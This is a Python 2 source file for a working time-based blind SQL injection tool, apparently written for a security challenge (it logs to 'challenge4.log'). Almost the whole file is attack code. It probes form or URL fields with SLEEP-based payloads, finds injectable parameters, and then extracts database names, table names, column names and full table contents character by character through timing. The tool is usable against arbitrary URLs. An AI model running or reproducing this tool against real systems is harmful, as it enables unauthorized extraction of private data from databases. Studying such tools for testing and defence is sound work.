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time_based_blind_sql_injection.py
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# Title: Time Based Blind SQL Injection Tool
# Author: Alessio Gilardi
# The tool takes in input an URL, a method, a list of possibly vulnerable fields with the respctive values.
# Once found, the tool ask the user to select a database and a table to dump, after it prints the results.
# Usage: time_based_blind_sql_injection.py [-h] [-u URL] [-d {'<field>': '<value>',...}] [-m <GET|POST>] [-s SLEEP] [-t THREADS] [-v] [-l]
import requests, sys, ast, binascii, argparse, threading
M_GET = 'GET'
M_POST = 'POST'
EVALUATING_ROUNDS = 10 # Numero di esecuzioni per determinare il tempo di risposta del server
threads_num = 1
SQL_SUFFIX_TYPE = ['', '-- -', 'AND \'1\'=\'1']
NO_SUFF = 0
COMMENT_SUFF = 1
AND_SUFF = 2
QUERY_TYPE_COUNT = 0
QUERY_TYPE_LENGTH = 1
QUERY_TYPE_VALUE = 2
verbose = 0
log = 0
LOG_FILE_NAME = 'challenge4.log'
# MySQL DB Tables #
INFORMATION_SCHEMA_DB_NAME = 'information_schema' # Nome del db che mantiene le info su DB, tabelle e colonne
INF_SCHEMA_SCHEMATA = 'SCHEMATA' # Tabella con i nomi di tutti i DB
INF_SCHEMA_SCHEMATA_SCHEMA_NAME = 'SCHEMA_NAME' # Colonna della tabella SCHEMATA con il nome di tutti i DB
INF_SCHEMA_TABLES = 'TABLES' # Tabella dove stanno le info di tutte le tabelle di tutti i DB
# used in where clause
INF_SCHEMA_TABLES_TABLE_SCHEMA = 'TABLE_SCHEMA' # Colonna di TABLES con il nome del DB a cui appartiene ogni tabella
INF_SCHEMA_TABLES_TABLE_NAME = 'TABLE_NAME' # Colonna di TABLES con il nome della tabella
INF_SCHEMA_COLUMNS = 'COLUMNS' # Tabella dove si trovano tutti i nomi di tutte le colonne di tutti i DB
INF_SCHEMA_COLUMNS_TABLE_NAME = 'TABLE_NAME' # Colonna di COLUMNS con il nome della tabella a cui appartiene ogni colonna
INF_SCHEMA_COLUMNS_TABLE_SCHEMA = 'TABLE_SCHEMA' # Colonna di COLUMNS con il nome del DB a cui appartiene la tabella che contiene la colonna
INF_SCHEMA_COLUMNS_COLUMN_NAME = 'COLUMN_NAME' # Colonna di COLUMNS con il nome della clolonna
#########################
# Converte due liste in un dizionario, fields e' l'indice e values i valori
def list_to_dict(fields, values):
if len(fields) != len(values):
return 0
result = {}
for (f, v) in zip(fields, values):
result[f] = v
return result
# Stampa una tabella per l'utente chiedendo di fare una scelta
# (nome del database di cui eseguire il dump, nome della tabella, etc)
def print_user_choice_table(values, title = ''):
if len(values) == 1:
print 'Only one value'
print 'Choice: %s' % values[0]
return 0
if title:
print title
for i in range(len(values)):
print str(i+1) + ' - ' + values[i]
print '\n'
choice = -1
while choice < 0 or choice >= (len(values)):
print '\033[A \033[A'
try:
choice = int(input('Choice[1 - ' + str(len(values)) + ']:')) - 1
except Exception as e:
choice = -1
pass
return choice
# Converte un stringa in una lista di interi
# e poi la lista in una stringa con gli interi separati da virgola
def string_to_int_list(s):
lst = []
for c in s:
lst.append(str(ord(c)))
return ','.join(lst)
# Media olimpica dei tempi di risposta (esclude i due risultati piu' alti)
def avg_time(times):
if len(times) == 1:
return times[0]
max_index = -1
max_time = 0
for i in range(len(times)):
if times[i] > max_time:
max_time = times[i]
max_index = i
times.pop(max_index)
if len(times) > 1:
max_index = -1
max_time = 0
for i in range(len(times)):
if times[i] > max_time:
max_time = times[i]
max_index = i
times.pop(max_index)
return sum(times)/len(times)
# Classe per la gestione dei thread che effettuano le richieste http
class myRequestThread (threading.Thread):
def __init__(self, threadID, name, url, method, headers, cookies, data, times):
threading.Thread.__init__(self)
self.threadID = threadID
self.name = name
self.url = url
self.method = method
self.headers = headers
self.cookies = cookies
self.data = data
self.times = times
def run(self):
self.times.append(measure_request_time_no_threads(self.url, self.method, self.headers, self.cookies, self.data))
# Misura il tempo di risposta del server per una richiesta
def measure_request_time_no_threads(url, method, headers, cookies, data):
if method == M_GET:
r = requests.get(url, headers = headers, cookies = cookies, params = data.items())
return r.elapsed.total_seconds()
elif method == M_POST:
r = requests.post(url, headers = headers, cookies = cookies, data = data.items())
return r.elapsed.total_seconds()
else:
return -1;
# Misura il tempo di risposta di una richiesta o il tempo medio di richieste multiple
def measure_request_time(url, method, headers, cookies, data):
if threads_num <= 1:
return measure_request_time_no_threads(url, method, headers, cookies, data)
else:
times = []
threads = []
for i in range(threads_num):
t = myRequestThread(i, 'T-'+str(i), url, method, headers, cookies, data, times)
t.start()
threads.append(t)
for t in threads:
t.join()
return avg_time(times)
# Valuta il tempo medio di risposta del server eseguendo
# molte richieste (anche multiple), usato per calcolare lo sleep_time
def evaluate_response_time(url, method, headers, cookies, data):
times = []
for i in range(EVALUATING_ROUNDS):
times.append(measure_request_time(url, method, headers, cookies, data))
return avg_time(times)
# Valuta lo slee time da usare per le richieste
def evaluate_sleep_time(response_time):
if response_time < 0.1:
return response_time * 10
elif response_time >= 0.1 and response_time < 1:
return response_time * 5
elif response_time >= 1 and response_time < 5:
return response_time
elif response_time >= 5:
return response_time * 0.5
# Determina quali dei campi passati al tool sono iniettabili e che ti di injection utilizzare ('-- -', '\' AND \'1\'=\'1', '')
def find_vuln_fields(url, method, headers, cookies, data, sleep_time):
vuln_fields = {}
sql = '{} AND SLEEP({}) {}'
m_data = data.copy()
for field in m_data:
m_data[field] = data[field] + sql.format('\'', sleep_time, SQL_SUFFIX_TYPE[COMMENT_SUFF])
elapsed = measure_request_time(url, method, headers, cookies, m_data)
if elapsed >= sleep_time:
vuln_fields.update({field:COMMENT_SUFF})
for field in vuln_fields:
m_data.pop(field)
if len(m_data) == 0:
return vuln_fields
for field in m_data:
m_data[field] = data[field] + sql.format('\'', sleep_time, SQL_SUFFIX_TYPE[AND_SUFF])
elapsed = measure_request_time(url, method, headers, cookies, m_data)
if elapsed >= sleep_time:
vuln_fields.update({field:AND_SUFF})
for field in vuln_fields:
m_data.pop(field)
if len(m_data) == 0:
return vuln_fields
for field in m_data:
m_data[field] = data[field] + sql.format('', sleep_time, SQL_SUFFIX_TYPE[NO_SUFF])
elapsed = measure_request_time(url, method, headers, cookies, m_data)
if elapsed >= sleep_time:
vuln_fields.update({field:NO_SUFF})
for field in vuln_fields:
m_data.pop(field)
return vuln_fields
def build_where_predicate(where_params, where_values, where_conjunction, quote):
if quote != '':
return ''.join(['{}{}{}{}{} {} '.format(p, '=', quote, v, quote, where_conjunction) for (p, v) in zip(where_params, where_values)])[:-(2+len(where_conjunction))]
else:
return ''.join(['{}{}{}{}{} {} '.format(p, '=', 'CHAR(', string_to_int_list(v), ')', where_conjunction) for (p, v) in zip(where_params, where_values)])[:-(2+len(where_conjunction))]
def build_query(query_type, vuln_type, table_name, where_params = '', where_values = '', where_conjunction = '', row_limit = ''):
where = ''
if where_params and where_values:
if vuln_type == NO_SUFF:
where = ' WHERE {}'.format(build_where_predicate(where_params, where_values, where_conjunction, ''))
elif vuln_type == COMMENT_SUFF or vuln_type == AND_SUFF:
where = ' WHERE {}'.format(build_where_predicate(where_params, where_values, where_conjunction, '\''))
query = ''
if query_type == QUERY_TYPE_COUNT:
query = 'SELECT COUNT(*) FROM %s'
elif query_type == QUERY_TYPE_LENGTH:
query = 'SELECT LENGTH({}) FROM %s'
elif query_type == QUERY_TYPE_VALUE:
query = 'SELECT ORD(MID({},{},1)) FROM %s '
query += where
if row_limit != '':
query += ' LIMIT %i,1' % row_limit
return query % table_name
def build_sql_injection(query, operand, value, sleep_time, vuln_type):
if vuln_type == NO_SUFF:
return ' AND IF(({}){}{},SLEEP({}),SLEEP(0))'.format(query, operand, value, str(sleep_time))
elif vuln_type == COMMENT_SUFF:
return '{} AND IF(({}){}{},SLEEP({}),SLEEP(0)) {}'.format('\'', query, operand, value, str(sleep_time), SQL_SUFFIX_TYPE[COMMENT_SUFF])
elif vuln_type == AND_SUFF:
return '{} AND IF(({}){}{},SLEEP({}),SLEEP(0)) {}'.format('\'', query, operand, value, str(sleep_time), SQL_SUFFIX_TYPE[AND_SUFF])
# Determina il numero di righe di una tabella del database
def find_table_rows_count(url, method, headers, cookies, data, vuln_field,
vuln_type, db_name, table_name, sleep_time, where_params = '', where_values = '', where_conjunction = ''):
m_data = data.copy()
file = ''
m_table_name = '%s.%s' % (db_name, table_name)
query = build_query(QUERY_TYPE_COUNT, vuln_type, m_table_name, where_params, where_values, where_conjunction)
if verbose:
print '\nDeterminating number of rows of table: %s\n' % table_name
if log:
file = open(LOG_FILE_NAME, 'a')
file.write('\nDeterminating number of rows of table: %s\n\n' % table_name)
found = False
count = 0
while not found:
m_data[vuln_field] = data[vuln_field] + build_sql_injection(query, '=', str(count), sleep_time, vuln_type)
if verbose:
print '{{{}: {}}}'.format(vuln_field, m_data[vuln_field])
if log:
file.write('{{{}: {}}}\n'.format(vuln_field, m_data[vuln_field]))
elapsed = measure_request_time(url, method, headers, cookies, m_data)
if elapsed >= sleep_time:
found = True
else:
count += 1
if verbose:
print '\n{}: {} rows\n'.format(table_name, str(count))
if log:
file.write('\n{}: {} rows\n\n'.format(table_name, str(count)))
file.close()
return count
# Determina il numero di caratteri di un campo del database
def find_data_length(url, method, headers, cookies, data, vuln_field, vuln_type,
db_name, table_name, column_name, sleep_time, row_limit = '',
where_params = '', where_values = '', where_conjunction = ''):
m_data = data.copy()
file = ''
m_table_name = '%s.%s' % (db_name, table_name)
query = build_query(QUERY_TYPE_LENGTH, vuln_type, m_table_name, where_params, where_values, where_conjunction, row_limit)
if verbose:
print '\nDeterminating number of characters in the field: %s\n\n' % column_name
if log:
file = open(LOG_FILE_NAME, 'a')
file.write('\nDeterminating number of characters in the field: %s\n\n' % column_name)
found = False
length = 0
while not found:
length += 1
m_data[vuln_field] = data[vuln_field] + build_sql_injection(query.format(column_name), '=', str(length), sleep_time, vuln_type)
if verbose:
print '{{{}: {}}}'.format(vuln_field, m_data[vuln_field])
if log:
file.write('{{{}: {}}}\n'.format(vuln_field, m_data[vuln_field]))
elapsed = measure_request_time(url, method, headers, cookies, m_data)
if elapsed == -1:
return -1
if elapsed >= sleep_time:
found = True
if length > 255:
return -1
if verbose:
print '\nField length: %i\n' % length
if log:
file.write('\nField length: %i\n\n' % length)
file.close()
return length
# Determina il valore di un campo del database
def find_data_val_binary(url, method, headers, cookies, data, vuln_field,
vuln_type, db_name, table_name, column_name, db_field_length,
sleep_time, row_limit = '', where_params = '', where_values = '', where_conjunction = ''):
m_data = data.copy()
file = ''
data_val = []
m_table_name = '%s.%s' % (db_name, table_name)
query = build_query(QUERY_TYPE_VALUE, vuln_type, m_table_name, where_params, where_values, where_conjunction, row_limit)
if verbose:
print '\nDeterminating values of field: %s\n' % column_name
if log:
file = open(LOG_FILE_NAME, 'a')
file.write('\nDeterminating values of field: %s\n\n' % column_name)
for i in range(1, db_field_length + 1):
found = False
low, high = 1, 128
while not found:
current = (low + high)//2
m_data[vuln_field] = data[vuln_field] + build_sql_injection(query.format(column_name, str(i)), '=', current, sleep_time, vuln_type)
if verbose:
print '{{{}: {}}}'.format(vuln_field, m_data[vuln_field])
if log:
file.write('{{{}: {}}}\n'.format(vuln_field, m_data[vuln_field]))
elapsed = measure_request_time(url, method, headers, cookies, m_data)
if elapsed >= sleep_time:
data_val.append(chr(current))
found = True
if verbose:
print '\nFound character: %c\n\n' % chr(current)
else:
m_data[vuln_field] = data[vuln_field] + build_sql_injection(query.format(column_name, str(i)), '>', current, sleep_time, vuln_type)
if verbose:
print '{{{}: {}}}'.format(vuln_field, m_data[vuln_field])
if log:
file.write('{{{}: {}}}\n'.format(vuln_field, m_data[vuln_field]))
elapsed = measure_request_time(url, method, headers, cookies, m_data)
if elapsed >= sleep_time:
low = current
else:
high = current
if verbose:
print
result = ''.join(data_val)
if log:
file.write('\nValue: %s\n\n\n' % result)
file.close()
return result
def find_data(url, method, headers, cookies, data, vuln_field, vuln_type, db_name, table_name, column_name, sleep_time, row_limit = '', where_params = '', where_values = '', where_conjunction = ''):
length = find_data_length(url, method, headers, cookies, data, vuln_field, vuln_type, db_name, table_name, column_name, sleep_time, row_limit, where_params, where_values, where_conjunction)
result = find_data_val_binary(url, method, headers, cookies, data, vuln_field, vuln_type, db_name, table_name, column_name, length, sleep_time, row_limit , where_params, where_values, where_conjunction)
return result
def main(argv):
global M_GET, M_POST, threads_num, verbose, log, INFORMATION_SCHEMA_DB_NAME, INF_SCHEMA_SCHEMATA, INF_SCHEMA_SCHEMATA_SCHEMA_NAME, INF_SCHEMA_TABLES, INF_SCHEMA_TABLES_TABLE_SCHEMA, INF_SCHEMA_TABLES_TABLE_NAME, INF_SCHEMA_COLUMNS, INF_SCHEMA_COLUMNS_TABLE_NAME, INF_SCHEMA_COLUMNS_COLUMN_NAME
parser = argparse.ArgumentParser(description = 'Tool used to perform time based blind sql injection')
parser.add_argument('-u', '--url', help = 'The URL on which try the attack.')
parser.add_argument('-d', '--data', help = 'Payload for data fields. {\'<field>\': \'<value>\',...}', default = '\'{{}}\'')
parser.add_argument('-m', '--method', help = 'The method <GET|POST>.', metavar = '<GET|POST>', default = M_GET, choices = [M_GET, M_POST])
parser.add_argument('-s', '--sleep', type = int, help = 'The sleep time to use')
parser.add_argument('-t', '--threads', type = int, help = 'Number of threads used for evaluating response time', default = 1)
parser.add_argument('-v', '--verbose', help = 'Set verbose mode', action = 'store_true')
parser.add_argument('-l', '--log', help = 'Set log mode', action = 'store_true')
args = parser.parse_args()
if len(sys.argv) == 1:
parser.print_help()
sys.exit()
url = args.url
method = args.method
data = ast.literal_eval(args.data)
sleep_time = args.sleep
threads_num = args.threads
verbose = args.verbose
log = args.log
headers = {
'User-Agent': 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Cache-Control': 'no-cache',
'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
'Connection': 'keep-alive'
}
cookies = {}
databases = [] # List of found databases
tables = [] # List of tables in the selected database
columns = [] # List of columns in the selected table
results = [] # The data dump of the selected table
db_name = '' # Selected database name
table_name = '' # Selected table name
# Inizio dell'attacco #
print '\nStarting attack on URL: %s\n' % url
if log:
file = open(LOG_FILE_NAME, 'w')
file.write('# Starting attack on URL: %s\n\n' % url)
file.write('# Using %i thread/s\n' % threads_num)
file.close()
# Viene calcolato il tempo di risposta del server e lo sleep time da usare
if not sleep_time:
print 'Evaluating response time...'
avg_resp_time = evaluate_response_time(url, method, headers, cookies, data)
sleep_time = evaluate_sleep_time(avg_resp_time)
if log:
file = open(LOG_FILE_NAME, 'a')
file.write('# Average response time: %.6f s\n' % avg_resp_time)
file.write('# Using sleep time: %.6f s\n\n' % sleep_time)
file.close()
print 'Using sleep time: %.6f s\n' % sleep_time
# Trovo i campi vulnerabili #
print 'Looking for vulnerable fields...\n'
vuln = find_vuln_fields(url, method, headers, cookies, data, sleep_time)
vuln_fields = vuln.keys()
if len(vuln_fields) == 0:
if log:
file = open(LOG_FILE_NAME, 'a')
file.write('\nNo vulnerable field found\n')
file.close()
print 'No vulnerable field found'
sys.exit(0)
f = print_user_choice_table(vuln_fields, 'Vulnerable fields')
sel_vuln_field = vuln_fields[f]
sel_vuln_type = vuln[sel_vuln_field]
# Cerco i nomi dei database #
print '\nLooking for database names, please wait...'
rows_count = find_table_rows_count(url, method, headers, cookies, data, sel_vuln_field, sel_vuln_type, INFORMATION_SCHEMA_DB_NAME, INF_SCHEMA_SCHEMATA, sleep_time)
for i in range(rows_count):
databases.append(find_data(url, method, headers, cookies, data, sel_vuln_field, sel_vuln_type, INFORMATION_SCHEMA_DB_NAME, INF_SCHEMA_SCHEMATA, INF_SCHEMA_SCHEMATA_SCHEMA_NAME, sleep_time, i))
print 'Found: %s' % databases[i]
print
#######################
# Seleziono un database
choice = print_user_choice_table(databases, 'Databases found:')
db_name = databases[choice]
print '\nDatabase selected: %s\n' % db_name
# Cerco le tabelle del database selezionato
print 'Looking for tables in %s, please wait...\n' % db_name
where_params = [INF_SCHEMA_TABLES_TABLE_SCHEMA]
where_values = [db_name]
rows_count = find_table_rows_count(url, method, headers, cookies, data, sel_vuln_field, sel_vuln_type, INFORMATION_SCHEMA_DB_NAME, INF_SCHEMA_TABLES, sleep_time, where_params, where_values)
for i in range(rows_count):
tables.append(find_data(url, method, headers, cookies, data, sel_vuln_field, sel_vuln_type, INFORMATION_SCHEMA_DB_NAME, INF_SCHEMA_TABLES, INF_SCHEMA_TABLES_TABLE_NAME, sleep_time, i, where_params, where_values))
###########################################
# Seleziono una tabella #
choice = print_user_choice_table(tables, 'Tables found:')
table_name = tables[choice]
print '\nTable selected: %s\n' % table_name
# Cerco i nomi delle colonne nella tabella selezionata #
print 'Looking for columns in %s, please wait...\n' % table_name
where_params = [INF_SCHEMA_COLUMNS_TABLE_NAME, INF_SCHEMA_COLUMNS_TABLE_SCHEMA]
where_values = [table_name, db_name]
where_conjunction = 'AND'
rows_count = find_table_rows_count(url, method, headers, cookies, data, sel_vuln_field, sel_vuln_type, INFORMATION_SCHEMA_DB_NAME, INF_SCHEMA_COLUMNS, sleep_time, where_params, where_values, where_conjunction)
for i in range(rows_count):
columns.append(find_data(url, method, headers, cookies, data, sel_vuln_field, sel_vuln_type, INFORMATION_SCHEMA_DB_NAME, INF_SCHEMA_COLUMNS, INF_SCHEMA_COLUMNS_COLUMN_NAME, sleep_time, i, where_params, where_values, where_conjunction))
print columns
###########################################
# Cerco i dati nella tabella selezionata #
print '\nLooking for %s data, please wait...\n' % table_name
rows_count = find_table_rows_count(url, method, headers, cookies, data, sel_vuln_field, sel_vuln_type, db_name, table_name, sleep_time)
for i in range (rows_count):
d = []
for col in columns:
d.append(find_data(url, method, headers, cookies, data, sel_vuln_field, sel_vuln_type, db_name, table_name, col, sleep_time, i))
print d
results.append(list_to_dict(columns, d))
if log:
file = open(LOG_FILE_NAME, 'a')
file.write('Result of dump of %s:\n' % table_name)
file.close()
if len(results) == 0:
print 'No data in the table: %s' % table_name
if log:
file = open(LOG_FILE_NAME, 'a')
file.write('\nNo data in the table: %s' % table_name)
file.close()
sys.exit(0)
if log:
file = open(LOG_FILE_NAME, 'a')
file.write('\n')
for row in results:
file.write('%s\n' % str(row))
file.write('\n')
file.close()
print
print 'Result of dump of ' + table_name + ':'
for row in results:
print row
if __name__ == "__main__":
main(sys.argv[1:])